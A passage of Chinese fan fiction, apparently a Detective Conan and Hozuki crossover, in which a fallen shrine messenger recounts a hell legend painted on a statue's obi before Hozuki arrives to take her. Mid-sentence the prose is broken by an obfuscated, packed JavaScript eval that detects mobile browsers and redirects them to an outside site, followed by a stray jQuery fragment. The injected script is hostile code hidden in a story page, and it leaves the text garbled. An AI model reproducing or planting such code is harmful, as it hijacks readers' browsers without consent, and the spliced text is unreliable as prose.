”
铃鹿樱子连连摇头, 虽然现在一切已经扭曲了, 但她还记得最初的自己是怀着怎样的心情开始神使工作的。如果连这一点都被否定——
“不,我的心底里的确有这样的认知, 我是振袖之神大人选中的神使。”
她摸着自己的胸口, 再三确认后几乎是松了口气般说道。
“如果你们要问那些人死后灵魂去了哪里, 当然是进入了振袖般若的腰带中,被困在地狱里永世不得超生。”
嗯?这又是没听过的新版本了。
鹤见和松田、景光互相对了个眼神, 或许问题就在这里。
马宫久子直接询问起铃鹿樱子她作为神使所知道的这个神话版本究竟是怎样的。
铃鹿缓缓讲述起来, 这些都是印刻在她的脑海里的, 被她反反复复地回忆过, 虽然是第一次真正开口诉说,却无比顺畅, 比之前她的回忆要通顺得多。
故事的前半段和作家明智惠理说的没什么两样。
但大家都没有打断她,只是静静地坐着,听这个女人五年来第一次开口说这么多话。
“阿花姑娘变作鬼魂,在当晚便找到了为了振袖腰带诬陷她、害死她的村长家两个女儿,她们被发现时的样子你们也清楚,我就不做赘述了。”
铃鹿樱子轻轻地笑了笑,略过这段刚发生在现实里的情节,“而恶人受到的惩罚并没有这么简单,你们可以看看神殿中雕刻的振袖之神雕像。”
神殿正中间是许久之前不知哪个豪绅出资建造的神像,足有两三米高,虽是木头雕刻,却也精心地描绘了彩漆。
偏远村庄里有一尊这样的神像,令人惊奇。
“这看起来和京都那边有名的神社、寺庙里的比起来都不差。”
诸伏景光的话语得到了一致的点头。
就是彩色油漆有一些掉色,还没来得及补回去。
“现在村里面本就少有年轻人,愿意做这种迷信行当的更少,听说补漆工作是二十年一次。上次来补漆的是村口一家木匠,今年已经有七十多岁了。”
下一次来的大概就是他现年四十的儿子了吧,也不知道手艺如何。
唏嘘了一会儿,铃鹿樱子指点着几人看向神像的腰部。
正如神名那样,村民们按照传说和自己的想象结合制作出的神像理所当然地是一个穿着华丽振袖的年轻女性的形象。
而铃鹿指的就是振袖的腰带。
诸伏鹤见走过去细细打量才看出,那腰带上面竟精心描绘了类似地狱变的图画,鬼神狱卒、被审判的亡者、地狱的火焰等应有尽有。
画师想要表达不同地狱的景象和刑罚不同,又必须兼顾振袖腰带本身的美观,做了一个很聪明的选择。
神像的腰带主要是黑红色调,当中用纯黑色的线条将长长的腰带划分成数个格子,每个格子里描绘了不同地狱的场景。
“这就是恶人灵魂的归处。”
鹤见有些疑惑,“其他人讲的传说都没有这段。”
松田也接上,“路边的小祠堂、神龛里面放置的也只是穿着振袖的人像而已,没有腰带花纹。”
铃鹿樱子想了想,无奈地回答,“就像我刚才说的,只有上了年纪的老人们还执着于这些东西,年轻人基本都只知道大概传说,具体细节都不清楚了吧。”
“就连我在活着的时候也只知道前半部分。”至于神龛里的神像,“那些都是为了方便村民们自己找石头制作的,而且只有小腿高度,应该是做不了这么精细吧。”
要忙于农活与丝织缝纫等事务的村民们在石头上雕刻出那么繁复生动的地狱图景,实在是难为人。
不过或许正是因为除了神社里的这一尊神像外,其他都为了方便只是做了个人形,结果导致了传说的后半段就此不为人知。
松田绕着神像转了一圈,微蹙着眉回来。
诸伏景光轻声询问,得到了一个暂时不好说的眼神与摇头,便没再多问。
“我会联系地狱那边派人来处理你的事情。”鹤见从神殿出来,在空地上轻轻地打了个呼哨,一只棕黑色的鸟儿便盘旋着直冲下来,稳稳地落在鹤见手臂上。
“若是不想堕落成没有理智、只知杀戮的妖鬼,就在这里等着。”
显然振袖之神大人就算真的存在也无法管理自己的神使,放任她继续下去,铃鹿樱子只有这一种下场。
“你们不直接杀了我?”
鹤见还在和雕鸮沟通,松田便接过了话茬,“你现在还是一个神使,一个人类
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14203421|150874||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灵魂。”
而且,他耸了耸肩,无所谓地道,“我们只负责抓人,审判你是地狱的工作。”
等到地狱那边来人时,时间又过去了一个小时。
在五年里从未和人说过话的铃鹿樱子终究也是词穷了,现场便陷入了一片沉默中。
撑着下巴若有所思的,望着外面的飘雪发呆的,各有各的心事,各自进行着不足为外人道的思考。
“你们是不是觉得我很可笑?”
铃木樱子像是对沉默的环境已经忍无可忍了,忽然尖锐地问道。
“没有。”没这个功夫。
两个又戴上墨镜在望着窗外的人回答时是如出一辙的冷酷。
马宫久子和诸伏景光则要温和得多。
马宫久子摇了摇头,不如说她很同情这个女孩子,“你只是太年轻了。”
这样说显得自己好老,心里吐槽了一句,她又接着说,“这些事对任何这个年纪的人来说都是难以承受的。”
天真单纯的理想与最黑暗最无奈的现实毫无缓冲地碰撞在一起,就算铃鹿樱子愤世嫉俗地去迁怒其他人都算得上情有可原。
诸伏景光小心斟酌着词句,“你只是还没来得及想清楚自己的正义究竟是什么。”
然后时间就停止在了那一瞬。
铃鹿樱子单薄空泛的、热血青春的正义再也没能找到支撑的脊梁,就像一个飞速涨大的气球,绚丽地、无可避免地,砰的一下爆开了。
把她所有的理智与坚持炸了个粉碎。
太阳出来了,皑皑白雪反射出冰冷又洁白的光芒,刺入人的眼睛时甚至会带来些许疼痛。铃鹿樱子却像是感觉不到疼痛一般,看不厌地仔细瞧着纯白的世界。
“真干净啊。”
不远处一个黑点慢慢变大,是一个人影朝着这里走过来了。
“鬼灯大人,想不到是您亲自过来了。”
鹤见率先起身行礼,语调中带着喜悦的上扬。
“这里丢了这么多亡者,我自然是要来调查的。”鬼灯一手拿着从不离身的狼牙棒,狭长上扬的眼眸快速地在人群中扫了一圈,精准地找到铃鹿樱子。
“这个就是堕落的神使?污染已经很严重了啊。”
把人直接拎过